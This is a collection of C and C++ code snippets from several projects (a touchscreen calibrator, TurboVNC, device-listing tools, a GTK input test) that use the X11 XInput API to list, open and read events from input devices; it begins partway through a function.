// virtual master device continue; // if we are looking for a specific device if (pre_device != NULL) { if ((pre_device_is_id && list->id == (XID) atoi(pre_device)) || (!pre_device_is_id && strcmp(list->name, pre_device_is_sysfs ? pre_device_sysfs.c_str() : pre_device ) == 0)) { // OK, fall through } else { // skip, not this device continue; } } XAnyClassPtr any = (XAnyClassPtr) (list->inputclassinfo); for (int j=0; j<list->num_classes; j++) { if (any->c_class == ValuatorClass) { XValuatorInfoPtr V = (XValuatorInfoPtr) any; XAxisInfoPtr ax = (XAxisInfoPtr) V->axes; if (V->mode != Absolute) { if (verbose) printf("DEBUG: Skipping device '%s' id=%i, does not report Absolute events.\n", list->name, (int)list->id); } else if (V->num_axes < 2 || (ax[0].min_value == -1 && ax[0].max_value == -1) || (ax[1].min_value == -1 && ax[1].max_value == -1)) { if (verbose) printf("DEBUG: Skipping device '%s' id=%i, does not have two calibratable axes.\n", list->name, (int)list->id); } else { /* a calibratable device (has 2 axis valuators) */ found++; device_id = list->id; device_name = my_strdup(list->name); device_axys.x.min = ax[0].min_value; device_axys.x.max = ax[0].max_value; device_axys.y.min = ax[1].min_value; device_axys.y.max = ax[1].max_value; if (list_devices) printf("Device \"%s\" id=%i\n", device_name, (int)device_id); } } /* * Increment 'any' to point to the next item in the linked * list. The length is in bytes, so 'any' must be cast to * a character pointer before being incremented. */ any = (XAnyClassPtr) ((char *) any + any->length); } } XFreeDeviceList(slist); XCloseDisplay(display); return found; }
static PyObject * xextdev_grab(PyObject *self, PyObject *args) { XEventClass cls; const char *devname; int devid; XAnyClassPtr pClass; int j; XEventClass eventList[32]; int nEventListCnt = 0; if (!display) { ASSERTCOND(display = XOpenDisplay(NULL),"open display"); /* polling this seems to be the only way * * to do a timed wait on X events */ x11_fd = ConnectionNumber(display); xdevList = (XDeviceInfoPtr) XListInputDevices(display, &devcount); if (!xdevList) { fprintf(stderr,"Failed to get input device list\n"); return Py_BuildValue("i", 0); } } if (!PyArg_ParseTuple(args, "i", &devid)) return Py_BuildValue("i", 0); ASSERTCOND(devid<devcount, "Tried to grab non-existing device id %d (max %d)", devid,devcount); xdevInfo = xdevList + devid; devname = xdevInfo->name; val = NULL; pClass = xdevInfo->inputclassinfo; for (j=0; j<xdevInfo->num_classes; ++j) { switch (pClass->class) { case ValuatorClass: val = (XValuatorInfoPtr)pClass; break; } pClass = (XAnyClassPtr)((char*)pClass + pClass->length); } ASSERTCOND(val,"xinputextdev: Unable to get valuator " "information of '%s'\n",devname); /* open device */ ASSERTCOND(xdev = XOpenDevice(display,xdevInfo->id), "xinputextdev: Unable to open " "input device '%s'\n",devname); /* button events */ DeviceButtonPress(xdev,inputEventTypes[INPUTEVENT_BTN_PRESS],cls); if (cls) eventList[nEventListCnt++] = cls; DeviceButtonRelease(xdev,inputEventTypes[INPUTEVENT_BTN_RELEASE],cls); if (cls) eventList[nEventListCnt++] = cls; /* motion events */ DeviceMotionNotify(xdev,inputEventTypes[INPUTEVENT_MOTION_NOTIFY],cls); if (cls) eventList[nEventListCnt++] = cls; /* proximity events */ ProximityOut(xdev,inputEventTypes[INPUTEVENT_PROXIMITY_OUT],cls); if (cls) eventList[nEventListCnt++] = cls; ProximityIn(xdev,inputEventTypes[INPUTEVENT_PROXIMITY_IN],cls); if (cls) eventList[nEventListCnt++] = cls; /* grab device */ int err = XGrabDevice(display,xdev,DefaultRootWindow(display), 0,nEventListCnt,eventList, GrabModeAsync,GrabModeAsync,CurrentTime); if (err == AlreadyGrabbed) fprintf(stderr,"xinputextdev: Grab error: AlreadyGrabbed\n"); else if (err == GrabNotViewable) fprintf(stderr, "xinputextdev: Grab error: GrabNotViewable\n"); else if (err == GrabFrozen) fprintf(stderr, "xinputextdev: Grab error: GrabFrozen\n"); else { printf("xinputextdev: Device '%s' grabbed.\n",devname); return Py_BuildValue("[i,i]", val->axes[0].max_value, val->axes[1].max_value); } return Py_BuildValue("i", 0); }
int main(int argc, char * argv[]) { int loop, num_extensions, num_devices; char **extensions; XDeviceInfo *devices; Display *dpy; Window root_win; unsigned long screen; int list = 0; if (argc != 2) { fprintf(stderr, "usage : %s (-l | <device name>)\n", argv[0]); exit(1); } if (strcmp(argv[1], "-l") == 0) { list = 1; } dpy = XOpenDisplay(NULL); if (!dpy) { printf("unable to connect to X Server try to set the DISPLAY variable\n"); exit(1); } #ifdef DEBUG printf("connected to %s\n", XDisplayString(dpy)); #endif screen = DefaultScreen(dpy); root_win = RootWindow(dpy, screen); extensions = XListExtensions(dpy, &num_extensions); for (loop = 0; loop < num_extensions && (strcmp(extensions[loop], "XInputExtension") != 0); loop++); XFreeExtensionList(extensions); if (loop != num_extensions) { devices = XListInputDevices(dpy, &num_devices); for(loop=0; loop<num_devices; loop++) { if (list) { printf("\"%s\" [", devices[loop].name ? devices[loop].name : "<noname>"); switch(devices[loop].use) { case IsXPointer: printf("XPointer]\n"); break; case IsXKeyboard: printf("XKeyboard]\n"); break; case IsXExtensionDevice: printf("XExtensionDevice]\n"); break; default: printf("invalid value]\n"); break; } } else { if ((argc == 2) && devices[loop].name && (StrCaseCmp(devices[loop].name, argv[1]) == 0)) if (devices[loop].use == IsXExtensionDevice) { XDevice *device; #ifdef DEBUG fprintf(stderr, "opening device %s\n", devices[loop].name ? devices[loop].name : "<noname>"); #endif device = XOpenDevice(dpy, devices[loop].id); if (device) { XChangePointerDevice(dpy, device, 0, 1); exit(0); } else { fprintf(stderr, "error opening device\n"); exit(1); } } } } XFreeDeviceList(devices); } else { fprintf(stderr, "No XInput extension available\n"); exit(1); } if (list) { exit(0); } else { fprintf(stderr, "Extended device %s not found\n", argv[1]); exit(1); } }
int main(int argc, char **argv) { Display *display = NULL; int device = -1; int newmouse = -1; int newkbd = -1; int count; int i, j; XDeviceInfo *devInfo; XExtensionVersion *ext; if (argc == 2 || argc == 3 || argc == 4 || argc == 5) { if (!(display = XOpenDisplay(argv[1]))) { printf("Cannot open display %s\n", argv[1]); return -1; } if (argc >= 3) device = strtol(argv[2], NULL, 0); if (argc >= 4) newmouse = strtol(argv[3], NULL, 0); if (argc >= 5) newkbd = strtol(argv[4], NULL, 0); } else { printf("Usage: %s display [device] [newmouse] [newkbd]\n", argv[0]); return -1; } if (!display && !(display = XOpenDisplay(NULL))) { printf("Cannot open default display\n"); return -1; } ext = XGetExtensionVersion(display, INAME); if (!ext || ext == (XExtensionVersion *)NoSuchExtension) { printf("No XInputExtension\n"); return -1; } printf("%s version %d.%d\n", INAME, ext->major_version, ext->minor_version); if (!(devInfo = XListInputDevices(display, &count)) || !count) { printf("Cannot list devices\n"); return -1; } for (i = 0; i < count; i++) { XAnyClassPtr any; const char *kind = "Unknown"; int has_key = 0; switch (devInfo[i].use) { case IsXPointer: kind = "XPointer"; break; case IsXKeyboard: kind = "XKeyboard"; break; case IsXExtensionDevice: kind = "XExtensionDevice"; break; } printf("%2lu %-20.20s %-16.16s", (long unsigned)devInfo[i].id, devInfo[i].name ? devInfo[i].name : "", kind); for (j = 0, any = devInfo[i].inputclassinfo; j < devInfo[i].num_classes; any = (XAnyClassPtr)((char *)any + any->length), j++) { const char *class = "unk"; switch (any->class) { case KeyClass: class = "key"; ++has_key; break; case ButtonClass: class = "btn"; break; case ValuatorClass: class = "val"; break; case FeedbackClass: class = "fdb"; break; case ProximityClass: class = "prx"; break; case FocusClass: class = "foc"; break; case OtherClass: class = "oth"; break; } printf(" %s", class); } printf("\n"); printdmxinfo(display, i); if (has_key) { XkbDescPtr xkb; if ((xkb = XkbGetKeyboard(display, XkbAllComponentsMask, devInfo[i].id))) { printf(" Xkb Information:\n"); printf(" Device id = %d\n", xkb->device_spec); printf(" Min keycode = 0x%02x\n", xkb->min_key_code); printf(" Max keycode = 0x%02x\n", xkb->max_key_code); #define PRINTNAME(x) \ printf(" %s = %s\n", \ #x, xkb->names->x ? XGetAtomName(display, xkb->names->x) : "") PRINTNAME(keycodes); PRINTNAME(geometry); PRINTNAME(symbols); PRINTNAME(types); PRINTNAME(compat); } } } if (newmouse >= 0) { XDevice *dev; printf("Trying to make device %d core mouse\n", newmouse); dev = XOpenDevice(display, devInfo[newmouse].id); printf("Status = %d\n", XChangePointerDevice(display, dev, 0, 1)); return 0; } if (newkbd >= 0) { XDevice *dev; printf("Trying to make device %d core keyboard\n", newkbd); dev = XOpenDevice(display, devInfo[newkbd].id); printf("Status = %d\n", XChangeKeyboardDevice(display, dev)); return 0; } if (device >=0){ #define MAX_EVENTS 100 int cnt = 0; XDevice *dev; XEventClass event_list[MAX_EVENTS]; int event_type[MAX_EVENTS]; const char *names[MAX_EVENTS]; int total = 0; #define ADD(type) \ if (cnt >= MAX_EVENTS) abort(); \ names[cnt] = #type; \ type(dev, event_type[cnt], event_list[cnt]); \ if (event_type[cnt]) ++cnt dev = XOpenDevice(display, devInfo[device].id); ADD(DeviceKeyPress); ADD(DeviceKeyRelease); ADD(DeviceButtonPress); ADD(DeviceButtonRelease); ADD(DeviceMotionNotify); ADD(DeviceFocusIn); ADD(DeviceFocusOut); ADD(ProximityIn); ADD(ProximityOut); ADD(DeviceStateNotify); ADD(DeviceMappingNotify); ADD(ChangeDeviceNotify); for (i = 0; i < cnt; i++) { printf("Waiting for %s events of type %d (%lu) on 0x%08lx\n", names[i], event_type[i], (unsigned long)event_list[i], (long unsigned)DefaultRootWindow(display)); } XSelectExtensionEvent(display, DefaultRootWindow(display), event_list, cnt); for (;;) { XEvent event; XNextEvent(display, &event); for (i = 0; i < cnt; i++) { XDeviceMotionEvent *e = (XDeviceMotionEvent *)&event; XDeviceButtonEvent *b = (XDeviceButtonEvent *)&event; if (event.type == event_type[i]) { printf("%s id=%lu (%d @ %d,%d; s=0x%04x, d=%d, t=%lu)" " axes_count=%d first=%d %d %d %d %d %d %d\n", names[i], (long unsigned)e->deviceid, e->type, e->x, e->y, e->device_state, b->button, (long unsigned)b->time, e->axes_count, e->first_axis, e->axis_data[0], e->axis_data[1], e->axis_data[2], e->axis_data[3], e->axis_data[4], e->axis_data[5]); } } ++total; #if 0 /* Used to check motion history for * extension devices. */ if (!(total % 10)) { XDeviceTimeCoord *tc; int n, m, a; struct timeval tv; unsigned long ms; gettimeofday(&tv, NULL); ms = tv.tv_sec * 1000 + tv.tv_usec / 1000; tc = XGetDeviceMotionEvents(display, dev, ms-1000, ms, &n, &m, &a); printf("Got %d events of mode %s with %d axes\n", n, m == Absolute ? "Absolute" : "Relative", a); for (i = 0; i < n && i < 10; i++) { printf(" %d: %lu %d %d\n", i, tc[i].time, tc[i].data[0], tc[i].data[1]); } XFreeDeviceMotionEvents(tc); } #endif } } XCloseDisplay(display); return 0; }
JNIEXPORT void JNICALL Java_com_turbovnc_vncviewer_Viewport_setupExtInput (JNIEnv *env, jobject obj) { jclass cls, eidcls; jfieldID fid; jmethodID mid; Display *dpy = NULL; Window win = 0; XDeviceInfo *devInfo = NULL; XDevice *device = NULL; int nDevices = 0, i, ci, ai, nEvents = 0; int buttonPressType = -1, buttonReleaseType = -1, motionType = -1; XEventClass events[100] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1}; jobject extInputDevice; if ((dpy = XOpenDisplay(NULL)) == NULL) _throw("Could not open X display"); bailif0(cls = (*env)->GetObjectClass(env, obj)); bailif0(fid = (*env)->GetFieldID(env, cls, "x11win", "J")); if ((win = (Window)(*env)->GetLongField(env, obj, fid)) == 0) _throw("X window handle has not been initialized"); if ((devInfo = XListInputDevices(dpy, &nDevices)) == NULL) _throw("Could not list XI devices"); for (i = 0; i < nDevices; i++) { char *type; XAnyClassPtr classInfo = devInfo[i].inputclassinfo; CARD32 canGenerate = 0, productID = 0; if (devInfo[i].use != IsXExtensionPointer) continue; if (devInfo[i].type == None) continue; type = XGetAtomName(dpy, devInfo[i].type); if (!strcmp(type, "MOUSE")) { XFree(type); continue; } /* TurboVNC-specific: we use productID to represent the device type, so we can recreate it on the server */ if (!strcmp(type, "CURSOR")) productID = rfbGIIDevTypeCursor; else if (!strcmp(type, "STYLUS")) productID = rfbGIIDevTypeStylus; else if (!strcmp(type, "ERASER")) productID = rfbGIIDevTypeEraser; else if (!strcmp(type, "TOUCH")) productID = rfbGIIDevTypeTouch; else if (!strcmp(type, "PAD")) productID = rfbGIIDevTypePad; XFree(type); bailif0(eidcls = (*env)->FindClass(env, "com/turbovnc/rfb/ExtInputDevice")); bailif0(extInputDevice = (*env)->AllocObject(env, eidcls)); SET_STRING(eidcls, extInputDevice, name, devInfo[i].name); SET_LONG(eidcls, extInputDevice, vendorID, 4242); SET_LONG(eidcls, extInputDevice, productID, productID); SET_LONG(eidcls, extInputDevice, id, devInfo[i].id); for (ci = 0; ci < devInfo[i].num_classes; ci++) { switch (classInfo->class) { case ButtonClass: { XButtonInfoPtr b = (XButtonInfoPtr)classInfo; SET_INT(eidcls, extInputDevice, numButtons, b->num_buttons); canGenerate |= rfbGIIButtonPressMask | rfbGIIButtonReleaseMask; break; } case ValuatorClass: { XValuatorInfoPtr v = (XValuatorInfoPtr)classInfo; jclass valcls; bailif0(valcls = (*env)->FindClass(env, "com/turbovnc/rfb/ExtInputDevice$Valuator")); if (v->mode == Absolute) canGenerate |= rfbGIIValuatorAbsoluteMask; else if (v->mode == Relative) canGenerate |= rfbGIIValuatorRelativeMask; for (ai = 0; ai < v->num_axes; ai++) { jobject valuator; XAxisInfoPtr a = &v->axes[ai]; char longName[75], shortName[5]; bailif0(valuator = (*env)->AllocObject(env, valcls)); SET_INT(valcls, valuator, index, ai); snprintf(longName, 75, "Valuator %d", ai); SET_STRING(valcls, valuator, longName, longName); snprintf(shortName, 5, "%d", ai); SET_STRING(valcls, valuator, shortName, shortName); SET_INT(valcls, valuator, rangeMin, a->min_value); SET_INT(valcls, valuator, rangeCenter, (a->min_value + a->max_value) / 2); SET_INT(valcls, valuator, rangeMax, a->max_value); SET_INT(valcls, valuator, siUnit, rfbGIIUnitLength); SET_INT(valcls, valuator, siDiv, a->resolution); bailif0(mid = (*env)->GetMethodID(env, eidcls, "addValuator", "(Lcom/turbovnc/rfb/ExtInputDevice$Valuator;)V")); (*env)->CallVoidMethod(env, extInputDevice, mid, valuator); } break; } } classInfo = (XAnyClassPtr)((char *)classInfo + classInfo->length); } SET_LONG(eidcls, extInputDevice, canGenerate, canGenerate); if (canGenerate & rfbGIIValuatorAbsoluteMask) SET_BOOL(eidcls, extInputDevice, absolute, 1); if ((device = XOpenDevice(dpy, devInfo[i].id)) == NULL) _throw("Could not open XI device"); for (ci = 0; ci < device->num_classes; ci++) { if (device->classes[ci].input_class == ButtonClass) { DeviceButtonPress(device, buttonPressType, events[nEvents]); nEvents++; DeviceButtonRelease(device, buttonReleaseType, events[nEvents]); nEvents++; } else if (device->classes[ci].input_class == ValuatorClass) { DeviceMotionNotify(device, motionType, events[nEvents]); nEvents++; } } XCloseDevice(dpy, device); device=NULL; bailif0(mid = (*env)->GetMethodID(env, cls, "addInputDevice", "(Lcom/turbovnc/rfb/ExtInputDevice;)V")); (*env)->CallVoidMethod(env, obj, mid, extInputDevice); } XFreeDeviceList(devInfo); devInfo = NULL; if (nEvents == 0) { printf("No extended input devices.\n"); goto bailout; } if (XSelectExtensionEvent(dpy, win, events, nEvents)) _throw("Could not select XI events"); SET_INT(cls, obj, buttonPressType, buttonPressType); SET_INT(cls, obj, buttonReleaseType, buttonReleaseType); SET_INT(cls, obj, motionType, motionType); SET_LONG(cls, obj, x11dpy, (jlong)dpy); printf("TurboVNC Helper: Listening for XInput events on %s (window 0x%.8x)\n", DisplayString(dpy), (unsigned int)win); bailout: if (dpy && device) XCloseDevice(dpy, device); if (devInfo) XFreeDeviceList(devInfo); }
int snoop_xinput(Window win) { int opcode, event, error, numdevs, i, j; int major, minor, rc, rawmotion = 0; int ev = 0; unsigned char mask[(XI_LASTEVENT + 7)/8]; XDeviceInfo *devinfo; XInputClassInfo *ici; XDevice *device; XIEventMask evmasks[1]; if (!XQueryExtension(dpy, "XInputExtension", &opcode, &event, &error)) { if (debug) warn("XInput extension not available"); return (0); } /* * If we support xinput 2, use that for raw motion and button events to * get pointer data when the cursor is over a Chromium window. We * could also use this to get raw key input and avoid the other XInput * stuff, but we may need to be able to examine the key value later to * filter out ignored keys. */ major = minor = 2; rc = XIQueryVersion(dpy, &major, &minor); if (rc != BadRequest) { memset(mask, 0, sizeof(mask)); XISetMask(mask, XI_RawMotion); XISetMask(mask, XI_RawButtonPress); evmasks[0].deviceid = XIAllMasterDevices; evmasks[0].mask_len = sizeof(mask); evmasks[0].mask = mask; XISelectEvents(dpy, win, evmasks, 1); XFlush(dpy); rawmotion = 1; if (debug) printf("using xinput2 raw motion events\n"); } devinfo = XListInputDevices(dpy, &numdevs); XEventClass event_list[numdevs * 2]; for (i = 0; i < numdevs; i++) { if (devinfo[i].use != IsXExtensionKeyboard && devinfo[i].use != IsXExtensionPointer) continue; if (!(device = XOpenDevice(dpy, devinfo[i].id))) break; for (ici = device->classes, j = 0; j < devinfo[i].num_classes; ici++, j++) { switch (ici->input_class) { case KeyClass: if (debug) printf("attaching to keyboard device " "%s (use %d)\n", devinfo[i].name, devinfo[i].use); DeviceKeyPress(device, key_press_type, event_list[ev]); ev++; DeviceKeyRelease(device, key_release_type, event_list[ev]); ev++; break; case ButtonClass: if (rawmotion) continue; if (debug) printf("attaching to buttoned device " "%s (use %d)\n", devinfo[i].name, devinfo[i].use); DeviceButtonPress(device, button_press_type, event_list[ev]); ev++; DeviceButtonRelease(device, button_release_type, event_list[ev]); ev++; break; case ValuatorClass: if (rawmotion) continue; if (debug) printf("attaching to pointing device " "%s (use %d)\n", devinfo[i].name, devinfo[i].use); DeviceMotionNotify(device, motion_type, event_list[ev]); ev++; break; } } if (XSelectExtensionEvent(dpy, win, event_list, ev)) { warn("error selecting extension events"); return (0); } } return (ev); }
int main (int argc, char **argv) { gboolean supports_xinput; gboolean has_touchpad, has_touchscreen, has_trackball; XDeviceInfo *device_info; gint n_devices, opcode; guint i; gtk_init (&argc, &argv); supports_xinput = supports_xinput_devices (); if (supports_xinput) { g_print ("Supports XInput:\t\t\tyes\n"); } else { g_print ("Supports XInput:\t\t\tno\n"); return 0; } supports_xinput = supports_xinput2_devices (&opcode); if (supports_xinput) { g_print ("Supports XInput2:\t\t\tyes (opcode: %d)\n", opcode); } else { g_print ("Supports XInput2:\t\t\tno\n"); return 0; } has_touchpad = touchpad_is_present (); g_print ("Has touchpad:\t\t\t\t%s\n", has_touchpad ? "yes" : "no"); has_touchscreen = touchscreen_is_present (); g_print ("Has touchscreen:\t\t\t%s\n", has_touchscreen ? "yes" : "no"); has_trackball = trackball_is_present (); g_print ("Has trackball:\t\t\t\t%s\n", has_trackball ? "yes" : "no"); device_info = XListInputDevices (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), &n_devices); if (device_info == NULL) { g_warning ("Has no input devices"); return 1; } print_disabled_devices (); for (i = 0; i < n_devices; i++) { XDevice *device; if (device_info_is_touchscreen (&device_info[i])) { g_print ("Device %d is touchscreen:\t\t%s\n", (int) device_info[i].id, "yes"); continue; } if (device_info_is_trackball (&device_info[i])) { g_print ("Device %d is trackball:\t\t\t%s\n", (int) device_info[i].id, "yes"); continue; } if (device_info_is_tablet (&device_info[i])) { g_print ("Device %d is tablet:\t\t\t%s\n", (int) device_info[i].id, "yes"); continue; } gdk_error_trap_push (); device = XOpenDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device_info[i].id); if (gdk_error_trap_pop () || (device == NULL)) continue; if (device_is_touchpad (device)) g_print ("Device %d is touchpad:\t\t%s\n", (int) device_info[i].id, "yes"); else { int tool_id; tool_id = xdevice_get_last_tool_id (device_info[i].id); if (tool_id >= 0x0) g_print ("Device %d is touchpad/touchscreen:\t%s (tool ID: 0x%x)\n", (int) device_info[i].id, "no", tool_id); else g_print ("Device %d is touchpad/touchscreen:\t%s\n", (int) device_info[i].id, "no"); } XCloseDevice (GDK_DISPLAY_XDISPLAY (gdk_display_get_default ()), device); } XFreeDeviceList (device_info); return 0; }
/** * find a calibratable touchscreen device (using XInput) * * if pre_device is NULL, the last calibratable device is selected. * retuns number of devices found, * the data of the device is returned in the last 3 function parameters */ int Calibrator::find_device(const char* pre_device, bool list_devices, XID& device_id, const char*& device_name, XYinfo& device_axys) { bool pre_device_is_id = true; int found = 0; Display* display = XOpenDisplay(NULL); if (display == NULL) { fprintf(stderr, "Unable to connect to X server\n"); exit(1); } int xi_opcode, event, error; if (!XQueryExtension(display, "XInputExtension", &xi_opcode, &event, &error)) { fprintf(stderr, "X Input extension not available.\n"); exit(1); } // verbose, get Xi version if (verbose) { XExtensionVersion *version = XGetExtensionVersion(display, INAME); if (version && (version != (XExtensionVersion*) NoSuchExtension)) { printf("DEBUG: %s version is %i.%i\n", INAME, version->major_version, version->minor_version); XFree(version); } } if (pre_device != NULL) { // check whether the pre_device is an ID (only digits) int len = strlen(pre_device); for (int loop=0; loop<len; loop++) { if (!isdigit(pre_device[loop])) { pre_device_is_id = false; break; } } } if (verbose) printf("DEBUG: Skipping virtual master devices and devices without axis valuators.\n"); int ndevices; XDeviceInfoPtr list, slist; slist=list=(XDeviceInfoPtr) XListInputDevices (display, &ndevices); for (int i=0; i<ndevices; i++, list++) { if (list->use == IsXKeyboard || list->use == IsXPointer) // virtual master device continue; // if we are looking for a specific device if (pre_device != NULL) { if ((pre_device_is_id && list->id == (XID) atoi(pre_device)) || (!pre_device_is_id && strcmp(list->name, pre_device) == 0)) { // OK, fall through } else { // skip, not this device continue; } } XAnyClassPtr any = (XAnyClassPtr) (list->inputclassinfo); for (int j=0; j<list->num_classes; j++) { if (any->c_class == ValuatorClass) { XValuatorInfoPtr V = (XValuatorInfoPtr) any; XAxisInfoPtr ax = (XAxisInfoPtr) V->axes; unsigned int axis_count = 0; if (V->mode != Absolute) { if (verbose) printf("DEBUG: Skipping device '%s' id=%i, does not report Absolute events.\n", list->name, (int)list->id); } else { for (int k=0; k<V->num_axes; k++) if (! (ax[k].min_value == -1 && ax[k].max_value == -1)) axis_count++; if (axis_count < 2) { if (verbose) printf("DEBUG: Skipping device '%s' id=%i, does not have two calibratable axes (%u).\n", list->name, (int)list->id, axis_count); /* Note that devices with more than eight calibratable axes * can be calibrated explicitly, but will not be * automatically selected for calibration. This heuristic * causes some devices that are not really pointer devices * but sometimes appear to be (e.g. some USB keyboards) to * be skipped. */ } else if (pre_device == NULL && axis_count > 8) { if (verbose) printf("DEBUG: Skipping device '%s' id=%i, has more than eight calibratable axes (%u).\n", list->name, (int)list->id, axis_count); } else { /* a calibratable device */ found++; device_id = list->id; device_name = my_strdup(list->name); device_axys.x.min = ax[0].min_value; device_axys.x.max = ax[0].max_value; device_axys.y.min = ax[1].min_value; device_axys.y.max = ax[1].max_value; if (list_devices) printf("Device \"%s\" id=%i\n", device_name, (int)device_id); } } } /* * Increment 'any' to point to the next item in the linked * list. The length is in bytes, so 'any' must be cast to * a character pointer before being incremented. */ any = (XAnyClassPtr) ((char *) any + any->length); } } XFreeDeviceList(slist); XCloseDisplay(display); return found; }